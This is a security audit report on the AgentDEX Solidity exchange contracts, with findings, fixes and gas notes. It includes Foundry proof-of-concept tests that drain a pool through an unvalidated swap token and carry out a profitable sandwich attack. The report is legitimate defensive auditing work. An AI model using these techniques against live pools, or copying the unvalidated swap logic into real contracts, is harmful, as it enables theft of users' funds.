AgentDEX Protocol Audit Report

Version 1.0

Jason Suárez

March 20, 2025

AgentDEX Protocol Audit Report

Jason Suárez

March 20, 2025

Auditor Information

Lead Auditor: Jason Suárez

- Twitter: @swarecito
- LinkedIn: Jason Suárez
- GitHub: @All-Khwarizmi

Protocol Summary

AgentDEX is a decentralized exchange protocol inspired by Uniswap V2, implementing automated market-making (AMM) functionality with a constant product formula (x * y = k). The protocol enables trading between ERC20 token pairs with a 0.3% fee collection mechanism. Its unique feature is an AI agent interface that allows users to interact with the protocol through natural language.

Disclaimer

This security audit was conducted with the utmost diligence to identify potential vulnerabilities in the AgentDEX Protocol. However, the audit does not guarantee the complete absence of security risks. Users and stakeholders should exercise caution and conduct their own due diligence.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

- **Audit Type**: Full Smart Contract Security Audit
- **Protocol**: AgentDEX
- **Blockchain**: Ethereum (and compatible EVM chains)
- **Languages**: Solidity v0.8.26
- **Timeline**: March 2025

Scope

Contract	SLOC	Purpose	Libraries Used
Pair.sol	92	Token pair management and swap functionality	SafeERC20, ERC20
Factory.sol	25	Liquidity pool creation	-

Out of scope

- Frontend interface
- AI agent interaction layer
- Backend services

Roles

- **Liquidity Providers**: Users who add tokens to liquidity pools

- **Traders**: Users who swap tokens through the protocol
- **Factory**: Contract creating and managing liquidity pools

Privileged Functions

- `addLiquidity()`: Add tokens to a liquidity pool
- `removeLiquidity()`: Withdraw tokens from a liquidity pool
- `swap()`: Exchange tokens within a pool

Audit Methodology

Static Analysis

Tools used:

- Slither
- Solidity Visual Developer
- cloc

Manual Review

Comprehensive review including:

- Architecture analysis
- Business logic verification
- Function-level security assessment
- State transition analysis
- Access control verification

Test Coverage

- Unit testing
- Integration testing
- Fuzzing
- Invariant testing

Executive Summary

The AgentDEX Protocol demonstrates innovative approach to decentralized trading, but several critical security vulnerabilities were identified that require immediate attention. The most significant issues include potential unauthorized token withdrawals, lack of slippage protection, and deviation from best practices in smart contract development.

Issues found

Severity	Number of issues
High	2
Medium	2
Low	0
Informational	1
Gas	3
Total	8

Recommendations Summary

1. Implement token validation in swap function
2. Add slippage protection
3. Refactor to follow Checks-Effects-Interactions pattern
4. Improve minimum liquidity calculation
5. Optimize gas consumption
6. Enhance constructor and immutability

Findings

High Severity

[H-1] Missing token validation in swap function allows unauthorized token withdrawals

Severity: High

Description: The `swap` function in the Pair contract does not validate that the `fromToken` and `targetToken` addresses match either `token0` or `token1`. When a user calls `swap` with an invalid `fromToken` that doesn't match either of the pair's tokens, they can effectively withdraw tokens from the pair without actually providing any valid tokens in return.

This happens because:

1. The `_getReserveFromToken` function returns 0 for any token that doesn't match token0 or token1
2. The `getAmountOut` function calculates a non-zero output based on the existing pool reserves
3. The contract then transfers the output token to the attacker while accepting a worthless or non-existent token

```
function swap(address fromToken, address targetToken, uint256 amountIn)
    external lock {
    // No validation that fromToken and targetToken are valid pair
       tokens
    uint256 amountOut = getAmountOut(fromToken, targetToken, amountIn);

    if (amountOut == 0) revert Pair_InsufficientOutput();

    // First transfer FROM user TO pair - accepts any token address!
    IERC20(fromToken).safeTransferFrom(msg.sender, address(this),
       amountIn);
    // Then transfer FROM pair TO user - sends real tokens from the
       pool
    IERC20(targetToken).safeTransfer(msg.sender, amountOut);

    // ...
}

function _getReserveFromToken(address token) internal view returns (
   uint256 reserve) {
    if (token == token0) {
        return reserve0;
    } else if (token == token1) {
        return reserve1;
    }
    // No else condition, implicitly returns 0 for invalid tokens
}
```

Impact: This is a critical vulnerability that allows an attacker to drain tokens from the pool:

- Attackers can withdraw any amount of token0 or token1 from the pool by providing a worthless token that isn't part of the pair
- The attacker can create their own ERC20 token with no value and use it to drain the entire liquidity pool

- Liquidity providers will lose their funds as the pool can be completely drained
- The core invariant of the AMM (constant product formula) is completely broken as the contract accepts tokens that aren't accounted for in the reserves

Severity Justification:

- **Impact:** High - Direct theft of funds from the protocol is possible
- **Likelihood:** High - The attack is straightforward to execute and requires minimal setup
- **Rating:** High - This is a critical vulnerability that allows unauthorized token withdrawal and can lead to complete pool drainage

Proof of Concept: The following test demonstrates how an attacker can drain tokens from the pool by providing a worthless token:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.26;

import { Test } from "@forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/
   ERC20Mock.sol";
import { Constants } from "../helpers/Constants.sol";
import { Pair } from "../../contracts/Pair.sol";

contract PairH1Test is Test, Constants {
    function setUp() public {
        usdc = address(new ERC20Mock());
        weth = address(new ERC20Mock());
        pair = new Pair(usdc, weth);

        deal(usdc, USER_1, TOKEN_0_AMOUNT);
        deal(weth, USER_1, TOKEN_1_AMOUNT);

        vm.startPrank(USER_1);
        IERC20(usdc).approve(address(pair), TOKEN_0_AMOUNT);
        IERC20(weth).approve(address(pair), TOKEN_1_AMOUNT);
        pair.addLiquidity(TOKEN_0_AMOUNT, TOKEN_1_AMOUNT);
        vm.stopPrank();
    }

    function test_InvalidToken_DoNotRevert_() public {
        // Arrange attack
        address ATTACKER = makeAddr("ATTACKER");
        address invalidToken = address(new ERC20Mock());
        deal(invalidToken, ATTACKER, TOKEN_1_AMOUNT);
        vm.prank(ATTACKER);
        IERC20(invalidToken).approve(address(pair), TOKEN_1_AMOUNT);

```

```
34          uint256 attackerWethPreBalance = IERC20(weth).balanceOf(
                ATTACKER);
35          assertEq(attackerWethPreBalance, 0);
36
37          uint256 expectedWethReceived = pair.getAmountOut(invalidToken,
                weth, TOKEN_1_AMOUNT);
38
39          // Try to swap an invalid token
40          vm.prank(ATTACKER);
41          // vm.expectRevert(); // This should revert but doesn't
42          pair.swap(invalidToken, weth, TOKEN_1_AMOUNT);
43
44          uint256 attackerWethPostBalance = IERC20(weth).balanceOf(
                ATTACKER);
45          assertEq(attackerWethPostBalance, expectedWethReceived);
46      }
47  }
```

Recommended Mitigation: Implement strict token validation in both the `swap` and `getAmountOut` functions:

```
1  function swap(address fromToken, address targetToken, uint256 amountIn)
       external lock {
2      // Validate token addresses
3      if (fromToken != token0 && fromToken != token1) {
4          revert Pair_InvalidInputToken();
5      }
6
7      if (targetToken != token0 && targetToken != token1) {
8          revert Pair_InvalidOutputToken();
9      }
10
11     if (fromToken == targetToken) {
12         revert Pair_IdenticalTokens();
13     }
14
15     uint256 amountOut = getAmountOut(fromToken, targetToken, amountIn);
16     // ...
17 }
```

Apply the same validation in the `getAmountOut` function:

```
1  function getAmountOut(address fromToken, address targetToken, uint256
       amountIn)
2      public
3      view
4      returns (uint256 amountOut)
5  {
6      // Validate token addresses
7      if (fromToken != token0 && fromToken != token1) {
8          revert Pair_InvalidInputToken();
```

```
    }

    if (targetToken != token0 && targetToken != token1) {
        revert Pair_InvalidOutputToken();
    }

    if (fromToken == targetToken) {
        revert Pair_IdenticalTokens();
    }

    if (amountIn == 0) {
        revert Pair_InsufficientInput();
    }

    uint256 reserveIn = _getReserveFromToken(fromToken);
    uint256 reserveOut = _getReserveFromToken(targetToken);

    // Continue with calculation...
}
```

Additionally, consider adding validation in the `_getReserveFromToken` function to explicitly revert for invalid tokens:

```
function _getReserveFromToken(address token) internal view returns (uint256 reserve) {
    if (token == token0) {
        return reserve0;
    } else if (token == token1) {
        return reserve1;
    } else {
        revert Pair_InvalidToken();
    }
}
```

[H-2] No slippage protection in swap function exposes users to front-running attacks

Description: The `swap` function in the Pair contract does not include a parameter for minimum output amount (slippage protection). Without this protection, transactions are vulnerable to front-running and sandwich attacks where malicious actors can manipulate the price right before a user's transaction is executed.

```
function swap(address fromToken, address targetToken, uint256 amountIn) external lock {
    uint256 amountOut = getAmountOut(fromToken, targetToken, amountIn);

    if (amountOut == 0) revert Pair_InsufficientOutput();

    // No check against a user-specified minimum output amount
```

```
    IERC20(fromToken).safeTransferFrom(msg.sender, address(this),
        amountIn);
    IERC20(targetToken).safeTransfer(msg.sender, amountOut);

    // Update reserves...
}
```

The lack of slippage protection is particularly problematic in blockchain environments where transactions can remain in the mempool for extended periods, giving opportunity for MEV (Miner Extractable Value) bots to exploit pending transactions.

Impact: This vulnerability exposes users to several risks:

- Sandwich attacks can significantly reduce the value users receive from their swaps
- Front-running attacks could result in substantial financial losses for users
- Price volatility between transaction submission and execution can lead to users receiving much less than expected
- MEV bots are actively searching for and exploiting such vulnerabilities
- In high-volume trading or volatile market conditions, the impact can be magnified

Proof of Concept: The following proof of concept demonstrates how a sandwich attack works against the current implementation:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.26;

import { Test } from "@forge-std/Test.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/token/
    ERC20Mock.sol";
import { Constants } from "../helpers/Constants.sol";
import { Pair } from "../../contracts/Pair.sol";

contract PairH2Test is Test, Constants {
    address attacker;
    address victim;

    function setUp() public {
        usdc = address(new ERC20Mock());
        weth = address(new ERC20Mock());
        pair = new Pair(usdc, weth);

        // Setup liquidity
        address liquidityProvider = makeAddr("liquidityProvider");
        deal(usdc, liquidityProvider, 1000000 * 10**6); // 1M USDC
        deal(weth, liquidityProvider, 500 * 10**18);    // 500 WETH

        vm.startPrank(liquidityProvider);
```

```
25          IERC20(usdc).approve(address(pair), type(uint256).max);
26          IERC20(weth).approve(address(pair), type(uint256).max);
27          pair.addLiquidity(1000000 * 10**6, 500 * 10**18);
28          vm.stopPrank();
29
30          // Setup victim with some USDC to swap
31          victim = makeAddr("victim");
32          deal(usdc, victim, 10000 * 10**6); // 10K USDC
33
34          // Setup attacker with some USDC to front-run
35          attacker = makeAddr("attacker");
36          deal(usdc, attacker, 100000 * 10**6); // 100K USDC
37          deal(weth, attacker, 10 * 10**18);    // 10 WETH for initial
               balance
38      }
39
40          function test_SandwichAttack_VictimLosesValue() public {
41          // Initial state
42          (uint256 initialReserve0, uint256 initialReserve1) = pair.
               getReserves();
43          uint256 victimUsdcAmount = 10000 * 10 ** 6; // 10K USDC
44
45          // Calculate expected WETH output for victim without attack
46          uint256 expectedWethOutput = pair.getAmountOut(usdc, weth,
               victimUsdcAmount);
47
48          // 1. FRONT-RUN: Attacker executes a swap before the victim
49          vm.startPrank(attacker);
50          IERC20(usdc).approve(address(pair), 50000 * 10 ** 6);
51          pair.swap(usdc, weth, 50000 * 10 ** 6); // Swap 50K USDC for
               WETH
52          vm.stopPrank();
53
54          // 2. VICTIM TRANSACTION: Victim's swap executes at worse price
55          vm.startPrank(victim);
56          IERC20(usdc).approve(address(pair), victimUsdcAmount);
57          pair.swap(usdc, weth, victimUsdcAmount);
58          uint256 victimWethReceived = IERC20(weth).balanceOf(victim);
59          vm.stopPrank();
60
61          // 3. BACK-RUN: Attacker swaps back
62          vm.startPrank(attacker);
63          uint256 attackerWethBalance = IERC20(weth).balanceOf(attacker);
64          IERC20(weth).approve(address(pair), attackerWethBalance);
65          pair.swap(weth, usdc, attackerWethBalance);
66          vm.stopPrank();
67
68          // Verify victim received less than expected
69          assertLt(victimWethReceived, expectedWethOutput);
70          console.log("Victim expected WETH:", expectedWethOutput); //
               4935790171985306494
```

```
71          console.log("Victim actual WETH received:", victimWethReceived)
                ; // 4479652608862130724
72          console.log("Value lost to sandwich attack:",
                expectedWethOutput - victimWethReceived); //
                456137563123175770
73
74          // Verify attacker profited
75          uint256 attackerUsdcProfit = IERC20(usdc).balanceOf(attacker) -
                 50000 * 10 ** 6;
76          assertTrue(attackerUsdcProfit > 0);
77          console.log("Attacker profit in USDC:", attackerUsdcProfit); //
                 70552688938
78      }
79  }
```

Recommended Mitigation: Add a minimum output amount parameter to the swap function to enforce slippage protection:

```
1  function swap(
2      address fromToken,
3      address targetToken,
4      uint256 amountIn,
5      uint256 amountOutMin
6  ) external lock {
7      uint256 amountOut = getAmountOut(fromToken, targetToken, amountIn);
8
9      // Enforce minimum output amount
10     if (amountOut < amountOutMin) {
11         revert Pair_SlippageExceeded(amountOut, amountOutMin);
12     }
13
14     // Continue with swap
15     IERC20(fromToken).safeTransferFrom(msg.sender, address(this),
           amountIn);
16     IERC20(targetToken).safeTransfer(msg.sender, amountOut);
17
18     // Update reserves...
19 }
```

Additionally, consider implementing:

1. A deadline parameter to prevent lingering transactions:

```
1  function swap(
2      address fromToken,
3      address targetToken,
4      uint256 amountIn,
5      uint256 amountOutMin,
6      uint256 deadline
7  ) external lock {
```

```
    if (block.timestamp > deadline) {
        revert Pair_Expired();
    }
    // Rest of function...
}
```

2. A dedicated Router contract that handles swap logic with built-in slippage protection and deadline checks

Medium Severity

[M-1] Violation of Checks-Effects-Interactions pattern in multiple functions

Description: Multiple functions in the Pair contract violate the Checks-Effects-Interactions (CEI) pattern by performing external calls before updating the contract's state. The CEI pattern is a best practice in smart contract development to prevent reentrancy attacks.

The violation occurs in three key functions:

1. In the `removeLiquidity` function:

```
function removeLiquidity(uint256 amount) external lock {
    // ... checks and calculations ...

    // EXTERNAL CALLS BEFORE STATE UPDATES
    IERC20(token0).safeTransfer(msg.sender, amount0);
    IERC20(token1).safeTransfer(msg.sender, amount1);

    // STATE UPDATES AFTER EXTERNAL CALLS
    _burn(msg.sender, amount);
    reserve0 -= amount0;
    reserve1 -= amount1;

    emit Pair_Burn(msg.sender, amount0, amount1, amount);
}
```

2. In the `_addLiquidity` function:

```
function _addLiquidity(uint256 amount0, uint256 amount1, uint256
    liquidity) internal lock {
    // EXTERNAL CALLS BEFORE STATE UPDATES
    IERC20(token0).safeTransferFrom(msg.sender, address(this), amount0)
        ;
    IERC20(token1).safeTransferFrom(msg.sender, address(this), amount1)
        ;

    // STATE UPDATES AFTER EXTERNAL CALLS
```

```
7       reserve0 += amount0;
8       reserve1 += amount1;
9       _mint(msg.sender, liquidity);
10
11      emit Pair_Mint(msg.sender, amount0, amount1, liquidity);
12  }
```

3. In the `swap` function:

```
1   function swap(address fromToken, address targetToken, uint256 amountIn)
        external lock {
2       uint256 amountOut = getAmountOut(fromToken, targetToken, amountIn);
3
4       if (amountOut == 0) revert Pair_InsufficientOutput();
5
6       // EXTERNAL CALLS BEFORE STATE UPDATES
7       IERC20(fromToken).safeTransferFrom(msg.sender, address(this),
            amountIn);
8       IERC20(targetToken).safeTransfer(msg.sender, amountOut);
9
10      // STATE UPDATES AFTER EXTERNAL CALLS (via balanceOf calls)
11      reserve0 = IERC20(token0).balanceOf(address(this));
12      reserve1 = IERC20(token1).balanceOf(address(this));
13
14      emit Pair_Swap(msg.sender, fromToken, targetToken, amountIn,
            amountOut);
15  }
```

In all these functions, external calls to token contracts are made before updating the contract's state variables. This violates the CEI pattern which recommends performing all external calls after state changes to prevent potential reentrancy attacks.

Impact: While all these functions include a `lock` modifier to prevent reentrancy, the consistent violation of the CEI pattern introduces several risks:

1. If the lock modifier were to be removed or modified in a future update, all these functions would be vulnerable to reentrancy attacks
2. It creates a dependency on a single security control (the reentrancy guard) rather than using proper state management as a defense-in-depth measure
3. If any of the tokens have callback mechanisms, they could potentially be exploited
4. The consistent violation of a fundamental security pattern indicates a systemic issue in the codebase

The consistent pattern violation across all major state-changing functions significantly increases the severity of this issue, as it represents a systemic architectural weakness rather than an isolated instance.

Proof of Concept: This is a pattern violation rather than an exploitable vulnerability in the current implementation (due to the lock modifier). However, if the lock modifier were to be removed or bypassed, multiple attack paths would be opened:

1. In `removeLiquidity`: Multiple withdrawals of the same liquidity before the burn
2. In `_addLiquidity`: Manipulation of reserve calculations during the minting process
3. In `swap`: Double-spending or price manipulation during token transfers

Recommended Mitigation: Reorganize all three functions to follow the CEI pattern:

1. For `removeLiquidity`:

```
function removeLiquidity(uint256 amount) external lock {
    // ... checks and calculations ...

    // STATE UPDATES FIRST
    _burn(msg.sender, amount);
    reserve0 -= amount0;
    reserve1 -= amount1;

    // EXTERNAL CALLS AFTER STATE UPDATES
    IERC20(token0).safeTransfer(msg.sender, amount0);
    IERC20(token1).safeTransfer(msg.sender, amount1);

    emit Pair_Burn(msg.sender, amount0, amount1, amount);
}
```

2. For `_addLiquidity`:

```
function _addLiquidity(uint256 amount0, uint256 amount1, uint256
    liquidity) internal lock {
    // Get initial balances
    uint256 balance0Before = IERC20(token0).balanceOf(address(this));
    uint256 balance1Before = IERC20(token1).balanceOf(address(this));

    // EXTERNAL CALLS
    IERC20(token0).safeTransferFrom(msg.sender, address(this), amount0)
        ;
    IERC20(token1).safeTransferFrom(msg.sender, address(this), amount1)
        ;

    // Verify the amounts received (for tokens with fees)
    uint256 balance0After = IERC20(token0).balanceOf(address(this));
    uint256 balance1After = IERC20(token1).balanceOf(address(this));
    uint256 amount0Received = balance0After - balance0Before;
    uint256 amount1Received = balance1After - balance1Before;

    // STATE UPDATES AFTER VERIFYING RECEIVED AMOUNTS
    reserve0 += amount0Received;
```

```
18      reserve1 += amount1Received;
19      _mint(msg.sender, liquidity);
20
21      emit Pair_Mint(msg.sender, amount0Received, amount1Received,
            liquidity);
22  }
```

3. For `swap`:

```
1   function swap(address fromToken, address targetToken, uint256 amountIn)
        external lock {
2       // ... validation and calculations ...
3
4       // Get initial balances
5       uint256 balance0Before = IERC20(token0).balanceOf(address(this));
6       uint256 balance1Before = IERC20(token1).balanceOf(address(this));
7
8       // EXTERNAL CALLS
9       IERC20(fromToken).safeTransferFrom(msg.sender, address(this),
            amountIn);
10      IERC20(targetToken).safeTransfer(msg.sender, amountOut);
11
12      // STATE UPDATES BASED ON ACTUAL TRANSFERS
13      uint256 balance0After = IERC20(token0).balanceOf(address(this));
14      uint256 balance1After = IERC20(token1).balanceOf(address(this));
15
16      reserve0 = balance0After;
17      reserve1 = balance1After;
18
19      emit Pair_Swap(msg.sender, fromToken, targetToken, amountIn,
            amountOut);
20  }
```

This reorganization follows the recommended CEI pattern for all functions and provides defense in depth against potential reentrancy vulnerabilities, complementing the lock modifier.

[M-2] Potential price manipulation vulnerability with minimum liquidity constant

Description: The `Pair` contract uses a fixed `MINIMUM_LIQUIDITY` constant of 10^3 (1000) for all token pairs, regardless of token decimals or relative value. This constant is used to prevent dust attacks during initial liquidity provision.

```
1   uint256 internal constant MINIMUM_LIQUIDITY = 10 ** 3;
2
3   function getLiquidityToMint(uint256 amount0, uint256 amount1) public
        view returns (uint256 liquidity) {
4       // ...
5       if (_totalSupply == 0) {
```

```
6           // First liquidity provision
7           // Require minimum amounts to prevent dust attacks
8           if (amount0 < MINIMUM_LIQUIDITY || amount1 < MINIMUM_LIQUIDITY)
                {
9               revert Pair_InsufficientInitialLiquidity();
10          }
11
12          // Initial LP tokens = sqrt(amount0 * amount1)
13          liquidity = Math.sqrt(amount0 * amount1);
14      }
15      // ...
16  }
```

The issue is that a fixed minimum value doesn't account for differences in token decimals or real-world value. For high-value tokens with few decimals (like WBTC with 8 decimals), the minimum value of 1000 units could be economically significant. Conversely, for tokens with 18 decimals, this minimum might be too small to effectively prevent attacks.

Impact: This one-size-fits-all approach to minimum liquidity could lead to several issues:

1. For valuable tokens with few decimals, legitimate users might be blocked from creating pools with reasonable amounts
2. For standard tokens with 18 decimals, the minimum might be too low to effectively prevent price manipulation
3. Attackers could initialize pools with minimal liquidity to manipulate prices in their favor
4. Initial liquidity providers might gain unfair control over pool pricing
5. The fixed minimum doesn't adapt to token value changes over time

Proof of Concept: Consider two scenarios showing the extremes:

1. **WBTC (8 decimals) paired with USDC (6 decimals)**:
    - 1000 units of WBTC = 0.00001 BTC (at $50,000/BTC = $0.50)
    - 1000 units of USDC = 0.001 USDC (= $0.001)
    - These minimums are economically insignificant and could easily be manipulated
2. **An obscure token with 24 decimals paired with a token with 2 decimals**:
    - The minimum would be completely disproportionate between the tokens
    - Creating a valid pool would require extremely imbalanced inputs

A malicious user could:

1. Initialize a pool with minimal amounts
2. Set an artificial extreme price
3. Benefit from arbitrage or front-running opportunities

4. Control pricing in low-liquidity pools

```
// No specific code proof required - this is a conceptual vulnerability
// The issue is in the design decision to use a fixed constant rather
    than
// a value that accounts for token decimals
```

Recommended Mitigation: Consider implementing one or more of these mitigations:

1. Calculate minimum liquidity based on token decimals:

```
function _getMinimumLiquidity(address _token) internal view returns (
    uint256) {
     uint8 decimals = IERC20Metadata(_token).decimals();
     return 10 ** (decimals / 2 + 3); // Adjust formula as needed
}
```

2. Implement a more robust first-time liquidity provision model:

```
function addLiquidity(uint256 amount0, uint256 amount1) external {
    // ...
    if (_totalSupply == 0) {
        // Require a substantial initial liquidity
        uint256 value0 = _getTokenValue(token0, amount0);
        uint256 value1 = _getTokenValue(token1, amount1);
        if (value0 < MINIMUM_VALUE_USD || value1 < MINIMUM_VALUE_USD) {
            revert Pair_InsufficientValueForInitialLiquidity();
        }
    }
    // ...
}
```

3. Use a percentage-based approach rather than absolute values:

```
if (_totalSupply == 0) {
    // Require initial liquidity to be at least X% of token's
        circulating supply
    uint256 supply0 = IERC20(token0).totalSupply();
    uint256 supply1 = IERC20(token1).totalSupply();
    if (amount0 * 10000 / supply0 < MINIMUM_PERCENTAGE ||
        amount1 * 10000 / supply1 < MINIMUM_PERCENTAGE) {
        revert Pair_InsufficientInitialLiquidity();
    }
}
```

4. At a minimum, clearly document this limitation and provide guidance to users on appropriate initial liquidity amounts for different token types.

Informational

[I-1] Reentrancy guard inconsistently applied at internal function instead of public interface

Description: The `Pair` contract implements a reentrancy guard using the `lock` modifier, but this guard is inconsistently applied. While the internal `_addLiquidity` function has the lock modifier, the public-facing `addLiquidity` function does not. This creates an architectural inconsistency in how security mechanisms are applied across the contract.

```
function addLiquidity(uint256 amount0, uint256 amount1) external {
    // No reentrancy protection here
    if (amount0 == 0 || amount1 == 0) revert Pair_InsufficientInput();

    uint256 liquidity = getLiquidityToMint(amount0, amount1);

    if (liquidity == 0) revert Pair_InsufficientLiquidityMinted();

    _addLiquidity(amount0, amount1, liquidity);
}

function _addLiquidity(uint256 amount0, uint256 amount1, uint256
    liquidity) internal lock {
    // Reentrancy protection applied here
    IERC20(token0).safeTransferFrom(msg.sender, address(this), amount0)
        ;
    IERC20(token1).safeTransferFrom(msg.sender, address(this), amount1)
        ;

    reserve0 += amount0;
    reserve1 += amount1;

    _mint(msg.sender, liquidity);

    emit Pair_Mint(msg.sender, amount0, amount1, liquidity);
}
```

In testing, we attempted to exploit this using a malicious token with reentrant behavior during the transferFrom call, but the lock modifier on the internal function prevented the attack. However, this still represents a deviation from best practices in security-critical code.

Impact: While there's no immediate path to exploit this in the current implementation, it represents an architectural flaw that:

1. Creates inconsistent protection against reentrancy attacks
2. Could lead to vulnerabilities if the contract is extended or modified
3. Violates the principle of applying security checks at the entry point

4. Introduces a potential attack vector in the calculation and validation steps before the `_addLiquidity` call

A malicious contract could potentially reenter the `addLiquidity` function during token operations in `getLiquidityToMint` if one of the tokens has a hook or callback mechanism.

Recommended Mitigation: Apply the `lock` modifier to the public-facing `addLiquidity` function instead of (or in addition to) the internal function:

```
function addLiquidity(uint256 amount0, uint256 amount1) external lock {
    if (amount0 == 0 || amount1 == 0) revert Pair_InsufficientInput();

    uint256 liquidity = getLiquidityToMint(amount0, amount1);

    if (liquidity == 0) revert Pair_InsufficientLiquidityMinted();

    _addLiquidity(amount0, amount1, liquidity);
}

// Internal function can keep lock or remove it since parent is protected
function _addLiquidity(uint256 amount0, uint256 amount1, uint256 liquidity) internal {
    IERC20(token0).safeTransferFrom(msg.sender, address(this), amount0);
    IERC20(token1).safeTransferFrom(msg.sender, address(this), amount1);

    reserve0 += amount0;
    reserve1 += amount1;

    _mint(msg.sender, liquidity);

    emit Pair_Mint(msg.sender, amount0, amount1, liquidity);
}
```

This ensures that the reentrancy protection is applied at the entry point of the function, which is a best practice for smart contract security.

Gas Optimization

[G-1] token0 and token1 should be immutable

Description: The `token0` and `token1` state variables in the Pair contract are initialized in the constructor and never modified afterward, making them perfect candidates for the `immutable` modifier.

```
// Current implementation
address public token0;
address public token1;

constructor(address _token0, address _token1) ERC20("AgentDEX LP", "LP") IPair() {
    token0 = _token0;
    token1 = _token1;
}
```

Using the `immutable` modifier for these variables would:

1. Reduce gas cost for reading these values
2. Make it clear that these values never change

Impact: Each time `token0` or `token1` is accessed, the contract performs a SLOAD operation which costs 100 gas. With immutable variables, the values are burned into the bytecode, making reads essentially free.

These variables are read in multiple functions including `swap`, `getAmountOut`, and `_getReserveFromToken`, so the gas savings would be applied to every swap and liquidity operation.

Recommended Mitigation: Declare the token variables as immutable:

```
address public immutable token0;
address public immutable token1;

constructor(address _token0, address _token1) ERC20("AgentDEX LP", "LP") IPair() {
    token0 = _token0;
    token1 = _token1;
}
```

This change is risk-free as it does not alter any behavior, only improves gas efficiency.

[G-2] Inefficient reserve updates in swap function

Description: The `swap` function updates reserve values by making external calls to `balanceOf()` rather than tracking deltas directly:

```
function swap(address fromToken, address targetToken, uint256 amountIn) external lock {
    // ... other code ...

    // External calls to token contracts
    IERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn);
```

```
    IERC20(targetToken).safeTransfer(msg.sender, amountOut);

    // Inefficient - makes more external calls
    reserve0 = IERC20(token0).balanceOf(address(this));
    reserve1 = IERC20(token1).balanceOf(address(this));

    // ... emit event ...
}
```

This approach is inconsistent with `addLiquidity` and `removeLiquidity` which directly update reserves using known deltas.

Impact: External calls are expensive in terms of gas. Each `balanceOf()` call:

- Costs more gas than simple arithmetic
- Creates unnecessary contract calls
- Adds ~2100 gas overhead per swap operation

Recommended Mitigation: Update reserves directly using the known input and output amounts:

```
function swap(address fromToken, address targetToken, uint256 amountIn)
    external lock {
    // ... other code ...

    IERC20(fromToken).safeTransferFrom(msg.sender, address(this),
        amountIn);
    IERC20(targetToken).safeTransfer(msg.sender, amountOut);

    // More gas efficient
    if (fromToken == token0) {
        reserve0 += amountIn;
        reserve1 -= amountOut;
    } else {
        reserve0 -= amountOut;
        reserve1 += amountIn;
    }

    // ... emit event ...
}
```

This direct approach will save gas and maintain consistency with other functions in the contract.

[G-3] Unnecessary constructor call to interface

Description: The Pair contract constructor includes a call to the IPair interface constructor, which is unnecessary:

```
constructor(address _token0, address _token1) ERC20("AgentDEX LP", "LP"
    ) IPair() {
    token0 = _token0;
    token1 = _token1;
}
```

Interfaces don't have constructors in Solidity, so the `IPair()` call has no effect and wastes gas.

Impact: This doesn't cause a functional issue, but it:

- Wastes a small amount of gas during contract deployment
- Creates potential confusion for developers reviewing the code
- Indicates a misunderstanding about how interfaces work in Solidity

Recommended Mitigation: Remove the unnecessary interface constructor call:

```
constructor(address _token0, address _token1) ERC20("AgentDEX LP", "LP"
    ) {
    token0 = _token0;
    token1 = _token1;
}
```

This change simplifies the code without changing any functionality.